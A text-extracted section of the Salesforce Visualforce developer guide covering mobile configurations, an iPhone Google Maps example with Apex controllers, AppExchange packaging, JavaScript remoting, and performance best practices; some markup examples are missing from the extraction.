230 Developing for Mobile Devices Mobilizing Visualforce Pages

Latitude:

Logitude:

Get location
Mobilizing Visualforce Pages After developing Visualforce pages that can run in a mobile browser, you need to perform some setup so that users can access the Visualforce pages in Salesforce Mobile. The following topics explain how to mobilize Visualforce pages: • • • Building a Mobile-Ready Visualforce Tab Adding Visualforce Tabs to Mobile Configurations Testing Visualforce Mobile Pages Building a Mobile-Ready Visualforce Tab To mobilize your Visualforce page, build a custom tab and define it as mobile-ready so that you can add it to your mobile configurations. To create a Visualforce Mobile tab: 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Tabs. Click New in the Visualforce Tabs related list. Select the mobile-optimized Visualforce page to display in the custom tab. Specify the label that displays on the tab. Click the Tab Style lookup icon to display the Tab Style Selector. If a tab style is already in use, a number enclosed in brackets ([ ]) appears next to the tab style name. Hover your mouse over the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter this list. 6. Click a tab style to select the color scheme and icon for the custom tab. 7. Select the Mobile Ready checkbox to indicate that the Visualforce page displays and functions properly in a mobile browser. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. 8. Do not select a custom link to use as the introductory splash page. The mobile application does not support splash pages. 9. Enter a description of the tab, if desired, and click Next. 10. Choose the user profiles for which the new custom tab will be available: • Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down list. 231 Developing for Mobile Devices • Adding Visualforce Tabs to Mobile Configurations Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab Hidden from the drop-down list for each profile. 11. Consider removing the new tab from all available apps so that the tab is not exposed to Salesforce desktop users. Because Visualforce Mobile pages are usually stripped of many standard Salesforce elements, it is unlikely that you want users to access the page from a desktop browser. • • Deselect the checkboxes next to all of the available apps. Deselect the Append tab to users' existing personal customizations checkbox. 12. Click Save. Adding Visualforce Tabs to Mobile Configurations To mobilize your Visualforce page, you have to add the Visualforce tab to a mobile configuration. Mobile configurations are sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while another mobile configuration sends cases to customer support representatives. To set up a mobile configuration: • • • • Create the Mobile Configuration Define Data Sets Edit Mobile Object Properties Customize Mobile Tabs For detailed information about mobile configurations, refer to the Salesforce Mobile Implementation Guide. If you have already created a mobile configuration in your organization, you can skip to the tab customization step. Create the Mobile Configuration Before creating the mobile configuration, verify that your user account has been assigned a mobile license. To find out, simply edit your user record. If the Mobile User checkbox is already selected, you don't need to do anything else. If the Mobile User checkbox is not selected, select it, then enable the “Manage Mobile Configurations” permission in your profile or a permission set. Note: In Developer and Unlimited Edition organizations, every Salesforce user has an assigned mobile license by default. To create the mobile configuration: 1. Click Your Name > Setup > Mobile Administration > Mobile Configurations to access the mobile configurations list page. 2. Click New Mobile Configuration. 3. Enter a name for the mobile configuration. 4. Select the Active checkbox. The mobile configuration does not work until you select this checkbox. 5. Optionally, enter a description for the mobile configuration. 6. Optionally, select the Mobilize Recent Items checkbox to mark recently used records in Salesforce for device synchronization. 232 Developing for Mobile Devices Adding Visualforce Tabs to Mobile Configurations 7. If you select the Mobilize Recent Items checkbox, select a value from the Maximum Number of Recent Items drop-down list. 8. Select your username in the Available Members box, and click the Add arrow to add your user account to the mobile configuration. You can add entire profiles or individual users to a mobile configuration. 9. To set the total data size limit, use the Don't sync if data size exceeds drop-down list to specify the amount of memory that is consistently available on the mobile devices of users who are assigned to this mobile configuration. If you're just testing your Visualforce Mobile pages, the default setting is an appropriate size. 10. Click Save. Define Data Sets The next step in setting up your mobile configuration is determining which objects and records automatically synchronize to the mobile device. If you're just testing your Visualforce Mobile pages, it's not necessary to define data sets. However, if you create links to Visualforce Mobile pages from an object's record detail page, you should mobilize that object so you can test the integration between the native records and the Visualforce Mobile pages. To find out how to create links from records to Visualforce Mobile pages, refer to the topic titled “Creating Mobile Links” in the Salesforce Mobile Implementation Guide. To add data sets: 1. 2. 3. 4. 5. Open the detail page for your mobile configuration. In the Data Sets related list, click Edit. In the hierarchy, select Data Sets to create a parent data set, or select an existing data set to create a child data set. Click Add.... In the popup window, select the object you want to mobilize. When adding to an existing data set, the popup window displays any object with a relationship to the selected object. This includes child objects, and also parent objects with a master-detail or lookup relationship to the selected object. 6. Click OK. The data set you created appears in the hierarchy. 7. Optionally, use filters to restrict the records that a parent or child data set includes. You can mobilize an object without pushing any data to the device for that object. Selecting the Search Only option will make the object available to users but require them to search for records they want to synchronize to their mobile device. 8. Click Done when you are finished adding data sets. Tip: The utility at the bottom of the Data Sets page lets you test your data set filters against individual user accounts. This is useful if you have complex filters and want to model how the filters will affect users. It's important to make sure the data sets are lean enough not to exceed the size limit you set when creating the mobile configuration. Edit Mobile Object Properties You can optionally change the properties of standard and custom objects in the mobile application by restricting the permissions of mobile users or excluding unnecessary fields from an object's mobile page layout. Salesforce Mobile inherits permissions and page layouts from Salesforce; however, there are occasions where you might want to further restrict what mobile users can do in the mobile application or which fields they see. To edit mobile object properties: 1. Open the detail page for your mobile configuration. 233 Developing for Mobile Devices Testing Visualforce Mobile Pages 2. In the Mobile Object Properties related list, click Edit next to an object name. Only objects you mobilized in the configuration's data set appear in the related list. 3. In the Permissions section, select which permissions to remove from mobile users for this object. Use the Deny Create, Deny Edit, or Deny Delete checkboxes to prevent users from creating, editing, or deleting records in the mobile application. 4. In the Excluded Fields section, select which fields to display on the mobile device for this object. To add or remove fields, select a field name, and click the Add or Remove arrow. Unnecessary fields consume memory and make it harder for users to scroll through pages on the mobile device, so it's a good idea to exclude fields from an object's mobile page layout when possible. 5. Click Save. Customize Mobile Tabs The final step in setting up your mobile configuration is mobilizing the Visualforce pages you want to test in the mobile application. To customize your tabs: 1. Open the detail page for your mobile configuration. 2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up the mobile tabs, click Edit. 3. In the Available Tabs list, select the Visualforce tabs you want to mobilize and click the Add arrow to add them to the mobile configuration. If your Visualforce tab does not appear in the Available Tabs list, edit the tab and mark it as mobile-ready. If you mobilized standard or custom objects, don't forget to select those objects when customizing your tabs. Also, you must select the Dashboards tab in order for it to appear in the mobile application. 4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear in the mobile application. Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their tab order, any administrator changes to the tab order in the mobile configuration are ignored by the client application, and any newly mobilized tabs are added below the user's existing tabs. 5. Click Save. Testing Visualforce Mobile Pages After developing your Visualforce Mobile pages, test them in the mobile application to be sure they display and function as expected. To find out how to install and run the mobile application on a BlackBerry smartphone or iPhone, refer to the topic titled “Installing Salesforce Mobile” in the Salesforce Mobile User Guide for BlackBerry or the Salesforce Mobile User Guide for iPhone. If you don't have an iPhone or BlackBerry smartphone that meets the Salesforce Mobile device requirements, you can run the mobile application on an iPhone or BlackBerry simulator. To find out how to install and run the simulators, refer to the topic titled “Mobile Device Simulators” in the Salesforce Mobile Implementation Guide. You might need to perform some of the following management tasks while testing your Visualforce Mobile pages: 234 Developing for Mobile Devices Example: Building a Mapping Application for iPhone Synchronize Data The mobile application polls Salesforce for schema changes and new data every twenty minutes. In come cases, you might want to synchronize data after editing your mobile configuration or creating a record in Salesforce so that the changes show up in the application immediately. You can force the mobile application to synchronize with Salesforce. To find out how to synchronize your data from an iPhone, refer to the topic titled “Synchronize Data” in the Salesforce Mobile User Guide for iPhone. To find out how to synchronize your data from a BlackBerry smartphone, refer to the topic titled “Refreshing Data” in the Salesforce Mobile User Guide for BlackBerry. Note: Remember, you can use commands from the JavaScript library in your Visualforce Mobile pages to force the mobile application to synchronize data. Test Different User Accounts Developers often have several active user accounts in their Salesforce organization. If you already activated a user account in Salesforce Mobile, you have to deactivate it before you can register a different user account. If you're using a mobile device to test your Visualforce Mobile pages instead of a simulator, you can deactivate your account from the mobile application. To find out how to deactivate your Salesforce account from an iPhone, refer to the topic titled “Erase Data” in the Salesforce Mobile User Guide for iPhone. To find out how to deactivate your account from a BlackBerry smartphone, refer to the topic titled “Removing Salesforce Data from Your Device” in the Salesforce Mobile User Guide for BlackBerry. If you're using a simulator to test your Visualforce Mobile pages, you have to deactivate your account in Salesforce. To find out how to deactivate your account in Salesforce, refer to the topic titled “Deleting Mobile Devices” in the Salesforce Mobile Implementation Guide. Test Sandbox Accounts By default, the mobile client application connects to the transport for your production organization; however, you might want to test in your sandbox organization. To find out how to activate a sandbox account, refer to the topic titled “Activating a Sandbox Account in Salesforce Mobile” in the Salesforce Mobile Implementation Guide. Example: Building a Mapping Application for iPhone To provide an introduction to mobile development, this chapter includes a set of examples that guide you through the process of building an application for iPhone. The application will use the Google Maps Web API to map hot accounts by customer priority. To follow along with these examples, be sure you meet the following requirements: • • Developer Edition Organization: Sign up for a Developer Edition organization at Developer Force if you do not already have one. Test Data: In your Developer Edition organization, be sure that your user account includes a valid address. Edit the billing addresses of the following two accounts so that the companies are in proximity to your address: ◊ Edge Communications ◊ United Oil & Gas Corp. • Keeping the addresses near one another will make it easier to see all of the accounts on the map while you're testing your examples. UI Library: Download iUI, a third-party library that lets Web applications easily mimic the standard iPhone UI. 235 Developing for Mobile Devices • • • Creating the Custom Controller Google Maps API: Sign up for the Google Maps API to obtain a Maps API key. iPhone Simulator: Download the iPhone simulator so you can test your Visualforce pages in the mobile application. Mobile Configuration: After completing the examples, remember to create a mobile configuration that mobilizes your Visualforce tab and the account object. The Visualforce Mobile examples for this chapter include: • • • Creating the Custom Controller Building the Map and List View Building the Detail Page Creating the Custom Controller To build the mapping application, we first need to create the custom controller referenced by the Visualforce page that displays the map and corresponding list of accounts. The controller retrieves the user's accounts with a rating of 'Hot' and builds a string array of delimited accounts for use in the mapping JavaScript routine on the Visualforce page. It also defines a getter method for the Maps API key, which is required in order to use Google Maps in our page. The following Apex class is the controller for the Visualforce page that maps the user's hot accounts: public class mapController { public String addrStr; public User usr; public String myKey; public Account[] getMyAccts() { String usrId = UserInfo.getUserId(); Account[] accts = [Select Id, Name, Rating, CustomerPriority__c, OwnerId, BillingStreet, BillingCity, BillingState, BillingPostalCode From Account where Rating = 'Hot' And OwnerId =: usrId ]; for(Account acct : accts) { addrStr = addrStr + acct.Name + ' : ' + acct.CustomerPriority__c + ':' + acct.Id + '~:~'+ acct.BillingStreet + '~:~' + acct.BillingCity + '~:~' + acct.BillingState + '~:~' + acct.BillingPostalCode + '~::~'; } return accts; } public String getmyKey() { // Set up google maps api key myKey = 'http://maps.google.com/maps?file=api&v=2&'; // In the following line, enter your google maps key // to get an api key, visit the Google Maps API site // http://code.google.com/apis/maps/signup.html myKey = myKey + 'key='; return myKey; } public String getAddrArStr(){ addrStr = ''; Account[] theRecs = getMyAccts(); 236 Developing for Mobile Devices Building the Map and List View return addrStr; } } See Also: Building a Custom Controller Building the Map and List View The next step in building the mapping application is creating the Visualforce page that displays the map and the corresponding list of accounts. The Visualforce page defines a panel for the Google Maps object, creates a group sub-panel to display the list of accounts, and uses JavaScript to retrieve the account addresses and populate the map with color-coded markers based on the customer's priority. The JavaScript sets up the map object by performing the following logic: • • • • • Get the addresses to map from the {!AddrArStr} string array Unpack the address array by keying off the delimiters defined in the controller Call doAddLocationToMap for all account addresses and the current user Use Account.CustomerPriority__c as the key to determine which marker color to use—green, yellow, or red Retrieve the custom image markers stored in the $Resource.markers static resource It's good practice to place any JavaScript code within a static resource, in case it needs to be referenced in multiple locations. Create a static resource named MobileListView: function addLoadEvent(func) { var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { oldonload(); func(); } } } addLoadEvent( function() { if (GBrowserIsCompatible()) { var my_geocoder = new GClientGeocoder(); var map = new GMap2(document.getElementById("map")); var TC = new GMapTypeControl(); var bottomRight = new GControlPosition(G_ANCHOR_BOTTOM_RIGHT, new GSize(10,10)); var mCount =0; map.addControl(new GSmallMapControl()); // Small arrows map.addControl(TC, bottomRight); // Map type buttons function LTrim( value ) { var re = /\s*((\S+\s*)*)/; return value.replace(re, "$1"); } function RTrim( value ) { 237 Developing for Mobile Devices Building the Map and List View var re = /((\s*\S+)*)\s*/; return value.replace(re, "$1"); } // Remove leading and ending whitespaces function trim( value ) { return LTrim(RTrim(value)); } function doAddLocationToMap(SiteName, Street, City, State, Zip, typ) { var addr = Street + ", " + City + ", " + State + " " + Zip; my_geocoder.getLatLng (addr, function(point) { if (point) { var mTag = ''; var myIcon = new GIcon(G_DEFAULT_ICON); if(typ == 'self') { mTag = "" + SiteName + "" + "
" + City ; myIcon.image = "http://maps.google.com/mapfiles/arrow.png"; myIcon.iconSize=new GSize(32,32); } else { if(typ == 'acct') { mCount ++; var priAr = SiteName.split(":"); var compName = priAr[0]; // company name var pri = trim(priAr[1]); // priority var acctId = priAr[2]; //account id var index = ""; var imgName = "marker"; // default marker image var color = ""; mTag = "" + compName + "" + "
" + "Priority: " + pri + "
" + City ; // Set up marker colors based on priority if (pri == 'Medium') color="Yellow"; else if (pri == 'High') color="Red"; else if (pri == 'Low') color="Green"; if(mCount>10){ // use default marker myIcon.image = "http://maps.google.com/mapfiles/marker.png"; } else { // use custom marker 1-10 index = String(mCount); imgName = imgName + color + index + ".png"; myIcon.image = "{!URLFOR($Resource.markers, 'markers/" + imgName + "')}"; } document.getElementById(acctId).src = myIcon.image; myIcon.iconSize=new GSize(20,34); } } myIcon.shadowSize=new GSize(56,32); myIcon.iconAnchor=new GPoint(16,32); myIcon.infoWindowAnchor=new GPoint(16,0); markerOptions2 = { icon:myIcon }; var marker = new GMarker(point, markerOptions2); map.setCenter(point, 8); map.addOverlay(marker); // Set up listener action to show info on click event GEvent.addListener(marker, "click", function() { marker.openInfoWindowHtml(mTag); }) ; 238 Developing for Mobile Devices Building the Map and List View } } ); } //Get accts and draw address var arAllStr = ''; arAllStr = '{!AddrArStr}'; // Get all address recs var arLi = arAllStr.split("~::~"); // Split on line break delim for (var i = 0; i < arLi.length-1; i++) { var arLiStr =arLi[i]; var arCols =arLiStr.split("~:~"); //Split to get columns if(arCols[1].length >0) doAddLocationToMap(arCols[0],arCols[1],arCols[2], arCols[3],arCols[4],'acct'); } //Get user address and draw doAddLocationToMap('{!$User.FirstName} {!$User.LastName}' +' (Me)','{!$User.Street}','{!$User.City}',' {!$User.State}','{!$User.PostalCode}','self'); } } ); The following code defines the landing page of our mapping application:
  • User: {!$User.FirstName} {!$User.LastName}
  • Accounts
  • {!p.Name}
The markup in our page uses the component to reference a template. The template leverages the iUI framework, which lets us apply iPhone-like styling to our page. The iUI framework is included from the $Resource.IUI 239 Developing for Mobile Devices Building the Detail Page static resource. By defining a template, we can easily apply the same styling to all of the Visualforce pages we create for the iPhone platform. The following markup defines the iuivf page used as the template: * in any Visualforce page. --> Note the following about the template: • • The markup overrides the #home style from the iUI library. This ensures that our application will render in Salesforce Mobile without any noticeable gap at the top of the page. The markup avoids the use of the class="Toolbar" element. The embedded browser in Salesforce Mobile has a navigation toolbar at the top of the page, so a second toolbar would likely confuse users. If you want to use the button styles provided in the iUI framework, don't use the Toolbar class to render the buttons. See Also: Using JavaScript in Visualforce Pages apex:composition Using Static Resources Building the Detail Page The last step in building our mapping application is creating a detail page for the accounts in the list view. First, we'll create a controller that retrieves the account information: public class customAccountController { private final Account account; public customAccountController() { account = [Select Id, Name, Rating, CustomerPriority__c, Description, Phone, BillingStreet, BillingCity, BillingState, BillingPostalCode from Account where id = :ApexPages.currentPage().getParameters().get('id')]; } public Account getAccount() { return account; } public PageReference save() { update account; return null; 240 Developing for Mobile Devices Building the Detail Page } } Next, we'll create a Visualforce page that displays the phone number and rating of the account the user selected from the list view. We'll use the
and classes from the iUI framework to apply iPhone-like styling to the page. The following code defines the account detail page of our mapping application:

{!Account.Name}

241 Chapter 19 Adding Visualforce to a Force.com AppExchange App You can include Visualforce pages, components, or custom controllers in an app that you are creating for AppExchange. Unlike Apex classes, the content of a Visualforce page in a managed package is not hidden when the package is installed. However, custom controllers, controller extensions, and custom components are hidden. In addition, custom components can be restricted with the access attribute to run only in your namespace. Salesforce.com recommends that you only use managed packages to distribute any Visualforce or Apex components. This recommendation is because managed packages receive a unique namespace that is automatically prepended to the names of your pages, components, classes, methods, variables, and so on. This namespace prefix helps prevent duplicate names in the installer's organization. The following caveats should be taken into consideration when creating a package using a Visualforce page: • If the access attribute on a component that is included in a managed package is set to global, be aware of the following restrictions: ◊ The access attribute on the component cannot be changed to public. ◊ All required child components (those that have the required attribute set to true) must have the access attribute set to global. ◊ If the default attribute is set on a required child , it cannot be removed or changed. ◊ You cannot add new required child components. ◊ If the access attribute on a child component is set to global, it cannot be changed to public. ◊ If the access attribute on a child component is set to global, the type attribute cannot be changed. • • • • When a package with a non-global component is installed, users that view the component in Setup see “Component is not global” instead of the content of the component. In addition, the component is not included in the component reference. If advanced currency management is enabled for an organization that is installing a package, Visualforce pages that use and cannot be installed. Any Apex that is included as part of Force.com AppExchange app must have at least 75% cumulative test coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. The tests are also run when the package is installed. Beginning with version 16.0, if you have a managed global Apex class used as a Visualforce controller, it is also required that the access level be set to global for the following methods and properties for subscribers to use them: ◊ Constructors for custom controllers ◊ Getter and setter methods, including those for input and output components ◊ Get and set attributes on properties Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must explicitly package the individual languages desired in order for those translations to be included in the package. 242 Adding Visualforce to a Force.com AppExchange App Managing Package Version Settings for Visualforce Pages and Components When a package containing Visualforce pages is installed into an organization, the pages are served from the visual.force.com domain instead of the salesforce.com domain. This is to prevent malicious code in a package from affecting your data. Managing Package Version Settings for Visualforce Pages and Components If Visualforce markup references installed managed packages, the version settings for each managed package referenced by the Visualforce markup are saved to aid backwards-compatibility. This ensures that as the components in managed packages evolve in subsequent package versions, a page is still bound to versions with specific, known behavior. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. Note: Package components and Visualforce custom component are distinct concepts. A package is comprised of many elements, such as custom objects, Apex classes and triggers, and custom pages and components. To configure the package version settings for a Visualforce page or custom component: 1. Edit a Visualforce page or component and click Version Settings. 2. Select a Version for each managed package referenced by the Visualforce page or component. This version of the managed package will continue to be used by the page or component if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that isn’t already associated with the page or component. 3. Click Save. Note the following when working with package version settings: • • If you save a Visualforce page or custom component that references a managed package without specifying a version of the managed package, the page or component is associated with the latest installed version of the managed package by default. You can’t Remove a Visualforce page or component’s version setting for a managed package if the package is referenced by the page or component. Use Show Dependencies to find where the managed package is referenced. See Also: How is Visualforce Versioned? Managing Version Settings for Custom Components 243 Chapter 20 Using JavaScript in Visualforce Pages Using JavaScript in Visualforce pages gives you access to a wide range of existing JavaScript functionality, such as JavaScript libraries, and other ways to customize the functionality of your pages. Action tags, such as and , support Ajax requests. Warning: By including JavaScript in a page, you are introducing the possibility of cross-browser and maintenance issues that you do not have when using Visualforce. Before writing any JavaScript, you should be sure that there is not an existing Visualforce component that can solve your problem. The best method for including JavaScript in a Visualforce page is placing the JavaScript in a static resource, then calling it from there. For example, You can then use the functions defined within that JavaScript file within your page using Change my font weight! The important part of this example is the use of the {!$Component.thePanel} expression to obtain the DOM ID of the HTML element generated by the component. See the JavaScript Remoting Example on page 251 for a more complete demonstration. See Also: Best Practices for Accessing Component IDs Using a JavaScript Library with Visualforce You can include JavaScript libraries in your Visualforce pages to take advantage of functionality provided by these libraries. The best way to include JavaScript libraries is by creating a static resource, and then including the library by adding an component to your page. For example, if you are using MooTools (http://mootools.net/), create a static resource from the library called mootools, and then reference it in a page like this: You can then use it in a page by adding a

Congratulations

Change me! If you are using a JavaScript library in a Visualforce page, and that library defines $ as a special character, you'll need to modify your JavaScript to override this usage. For example, if you are using jQuery, you can override the definition of $ by using the jQuery.noConflict() function. Note: Do not use Ext JS versions less than version 3 on pages that use Chatter components, , , or . JavaScript Remoting for Apex Controllers Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior that isn’t possible with the standard Visualforce AJAX components. JavaScript remoting has three parts: • • • The remote method invocation you add to the Visualforce page, written in JavaScript. The remote method definition in your Apex controller class. This method definition is written in Apex, but there are few differences from normal action methods. The response handler callback function you add to or include in your Visualforce page, written in JavaScript. 246 Using JavaScript in Visualforce Pages JavaScript Remoting for Apex Controllers Adding JavaScript Remoting to a Visualforce Page To use JavaScript remoting in a Visualforce page, add the request as a JavaScript invocation with the following form: [namespace.]controller.method( [parameters...,] callbackFunction, [configuration] ); • • • • • • namespace is the namespace of the controller class. This is required if your organization has a namespace defined, or if the class comes from an installed package. controller is the name of your Apex controller. method is the name of the Apex method you’re calling. parameters is the comma-separated list of parameters that your method takes. callbackFunction is the name of the JavaScript function that will handle the response from the controller. You can also declare an anonymous function inline. callbackFunction receives the status of the method call and the result as parameters. configuration configures the handling of the remote call and response. Use this to specify whether or not to escape the Apex method’s response. The default value is {escape: true}. The remote method call executes synchronously, but it doesn’t wait for the response to return. When the response returns, the callback function handles it asynchronously. See Handling the Remote Response for details. Namespaces and JavaScript Remoting To make it easier to work with namespaces, especially for pages that make remoting calls to methods provided in packages, you can use the $RemoteAction global to automatically resolve the correct namespace, if any, for your remote action. To use this facility, you must explicitly invoke JavaScript remoting. The pattern for doing this is: Visualforce.remoting.Manager.invokeAction( 'fully_qualified_remote_action', invocation_parameters ); The fully qualified remote action is a string that represents the complete path to the remote action method, including namespace, base class, and so on: namespace[.BaseClass][.ContainingClass].ConcreteClass.Method. Use $RemoteAction in an expression to automatically resolve the namespace, for example {!$RemoteAction.MyController.getAccount}. Invocation parameters are the arguments used to perform the remote method invocation, and are the same arguments used to make a standard remoting call: • • • The parameters to send to the @RemoteAction method, if any. The callback function, which handles the returned result. Configuration details for the invocation, if any. For example, you might define a remote invocation to retrieve an account like this: This JavaScript remoting call doesn’t need to know the details of the namespace in which the controller is defined, whether it’s in your own namespace or something provided by an installed package. It also handles the situation where your organization doesn’t have a namespace defined. Note: Errors encountered when calling invokeAction are reported only in the JavaScript console. For example, if $RemoteAction finds matching @RemoteAction methods in multiple namespaces, it returns the first matching method and logs a warning to the JavaScript console. If a matching controller or action is not found, the call silently fails and an error is logged to the JavaScript console. Declaring a Remote Method In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this: @RemoteAction global static String getItemId(String objectName) { ... } Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments. Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums, SaveResult, UpsertResult, DeleteResult, SelectOption, or PageReference. Methods used for JavaScript remoting must be uniquely identified by name and number of parameters; overloading isn’t possible. For instance, with the method above, you can’t also have a getItemId(Integer productNumber) method. Instead, declare multiple methods with different names: • • getItemIdFromName(String objectName) getItemIdFromProductNumber(Integer productNumber) Your Apex method must be static and either global or public. Globally-exposed remote actions should not perform sensitive operations or expose non-public data. global remote actions may only call other global methods. public remote actions may not be used in global components, or otherwise used in a global scope. Scope escalation will result in a compiler error or, for references which are resolved at runtime, a runtime failure. The following table describes these restrictions in more detail: Non-Global Component Global Component iframe Scope Global Remote Method Allowed Allowed Allowed Allowed Public Remote Method Allowed Allowed Error Error @RemoteAction Visualforce Page 248 Using JavaScript in Visualforce Pages JavaScript Remoting for Apex Controllers When remote actions are accessed via markup that is included indirectly, via components or the or tags, the scope of the remote method is carried forward into the top level container, that is, the top level item in the inclusion hierarchy, which must abide by scope escalation rules: Top Level Container @RemoteAction Accessed From Visualforce Page Non-Global Component Global Component iframe Global Component Allowed Allowed Allowed Allowed Non-Global Component Allowed Allowed Allowed only if non-global component doesn't include public remote methods. Allowed only if non-global component doesn't include public remote methods. n/a Error Allowed within the n/a same namespace; error if namespaces are different, and the included page or its child hierarchy contains public remote methods. Declaring a Remote Method with Interface Parameters You can declare @RemoteAction methods with interface parameters and return types, instead of being restricted to concrete classes. This, for example, allows a package provider to package a remote method and associated interface, which subscriber organizations can call from Visualforce pages, passing in their own class that implements the packaged interface. Here’s a brief example: public class RemoteController { public interface MyInterface { String getMyString(); } public class MyClass implements MyInterface { private String myString; public String getMyString() { return myString; } public void setMyString(String s) { myString = s; } } @RemoteAction public static MyInterface setMessage(MyInterface i) { MyClass myC = new MyClass(); myC.setMyString('MyClassified says "' + i.getMyString() + '".'); return myC; } } Objects sent from a JavaScript remoting call to a @RemoteAction that declares interface parameters must include an apexType value, which must be a fully-qualified path to the concrete class, that is, namespace[.BaseClass][.ContainingClass].ConcreteClass. For example, to make a JavaScript remoting call to the above controller: Visualforce.remoting.Manager.invokeAction( '{!$RemoteAction.RemoteController.setMessage}', {'apexType':'thenamespace.RemoteController.MyClass', 'myString':'Lumos!'}, handleResult ); 249 Using JavaScript in Visualforce Pages JavaScript Remoting for Apex Controllers If the class definition is within your organization, you can simplify the remoting call, and also use the default c namespace: RemoteController.setMessage( {'apexType':'c.RemoteController.MyClass', 'myString':'Lumos!'}, handleResult ); Handling the Remote Response The response to a remote method call is handled asynchronously by the callback function provided in the remote method call. Your callback function will receive as parameters an event object representing the status of the remote call, and the result object returned by the remote Apex method. Your function can update information and user interface elements on the page based on the data returned. The event object provides values that let you act upon the success or failure of the remote call: • • event.status is true on success, false on error. event.type is the type of the response: rpc for a successful call, exception if the remote method threw an exception, and so on. • • event.message contains any error message that is returned. event.where contains the Apex stack trace, if one was generated by the remote method. Apex primitive data types returned by result—such as strings or numbers—are converted to their JavaScript equivalents. Apex objects that are returned are converted to JavaScript objects, while collections are converted to a JavaScript array. Keep in mind that JavaScript is case-sensitive, so id, Id, and ID are considered different fields. As part of a JavaScript remote call, if the Apex method response contains references to the same object, the object won't be duplicated in the returned JavaScript object, and instead, the rendered JavaScript object will contain references to the same object. An example is an Apex method which returns a list that contains the same object twice. The response of the remote call has a maximum size of 15 MB. The response of the remote call must return within 30 seconds, after which the call will time out. Note: Keep your JavaScript console open during development when using JavaScript remoting. Errors and exceptions encountered by JavaScript remoting are logged to the JavaScript console, if enabled, and are otherwise silently ignored. JavaScript Remoting and The component also lets you call controller action methods through JavaScript. Here are some differences between the two: • The tag: ◊ lets you specify rerender targets ◊ submits the form ◊ does not require you to write any JavaScript • JavaScript remoting: ◊ lets you pass parameters ◊ provides a callback ◊ requires you to write some JavaScript In general, is easier to use and requires less code, while JavaScript remoting offers more flexibility. 250 Using JavaScript in Visualforce Pages JavaScript Remoting Example JavaScript Remoting Example Here’s a basic sample demonstrating how to use JavaScript remoting in your Visualforce pages. First, create an Apex controller called AccountRemoter: global with sharing class AccountRemoter { public String accountName { get; set; } public static Account account { get; set; } public AccountRemoter() { } // empty constructor @RemoteAction global static Account getAccount(String accountName) { account = [SELECT Id, Name, Phone, Type, NumberOfEmployees FROM Account WHERE Name = :accountName]; return account; } } Other than the @RemoteAction annotation, this looks like any other controller definition. To make use of this remote method, create a Visualforce page that looks like this:
251 Using JavaScript in Visualforce Pages JavaScript Remoting Example
Notice the following about this markup: • • • • • The JavaScript uses the explicit invokeAction remoting call, and takes advantage of the $RemoteAction global to resolve the correct namespace for the remote action method. The event.status variable is true only if the call was successful. The error handling illustrated by the example is deliberately simple and prints the error message and stack trace from the event.message and event.where values, respectively. You’re encouraged to implement more robust alternative logic for requests where your method call doesn’t succeed. The result variable represents the object returned from the Apex getAccount method. Accessing the DOM ID of a plain HTML element is simple, just use the ID of the item. DOM IDs of Visualforce components are dynamically generated in order to ensure IDs are unique. The code above uses the technique illustrated in Using JavaScript to Reference Components to retrieve the component’s ID by accessing it via the $Component global variable. 252 Chapter 21 Best Practices The following best practices can be used in your Visualforce pages: Best Practices for Improving Visualforce Performance Best Practices for Accessing Component IDs Best Practices for Static Resources Best Practices for Controllers and Controller Extensions Best Practices for Using Component Facets Best Practices for Page Block Components Best Practices for Rendering PDFs Best Practices for • • • • • • • • Best Practices for Improving Visualforce Performance Visualforce was designed to provide developers with the ability to match the functionality, behavior, and performance of standard Salesforce pages. If your users experience delays, unexpected behavior, or other issues specifically around Visualforce, there are several actions you can take to not only improve their experience, but to also make for improved coding. First, determine whether Visualforce is the problem by ensuring that: • • • • The problems aren’t confined to a single user’s computer by testing expected Visualforce functionality on other machines as well as using different browsers. Slow load times aren’t the result of a network issue by checking the load time of other Salesforce pages. If they’re also slow, it could be the result of bandwidth or latency issues to Salesforce. To check on the status of the Salesforce servers, visit trust.salesforce.com. You should also check the status of your network connections and ensure they’re functioning properly. You’re following general Web design best practices, such as the minification of JavaScript and CSS, optimizing images for the Web, and avoiding iframes whenever possible. You’ve used the Developer Console to step through the request and determine which items in the request used the most system resources. See “Working with the Developer Console” in the Salesforce online help. The following is a list of commonly encountered Visualforce performance issues and their possible solutions: View State Size The view state size of your Visualforce pages must be under 135KB. By reducing your view state size, your pages can load quicker and stall less often. You can monitor view state performance through the View State tab in the development mode footer and take the following actions: 253 Best Practices • • • Best Practices for Improving Visualforce Performance Use the transient keyword in your Apex controllers for variables that aren’t essential for maintaining state and aren’t necessary during page refreshes. If you notice that a large percentage of your view state comes from objects used in controllers or controller extensions, consider refining your SOQL calls to return only data that's relevant to the Visualforce page. If your view state is affected by a large component tree, try reducing the number of components your page depends on. Load Times Large page sizes directly affects load times. To improve Visualforce page load times: • Cache any data that is frequently accessed, such as icon graphics • Avoid SOQL queries in your Apex controller getter methods • Reduce the number of records displayed on a page by: ◊ Limiting the data coming back 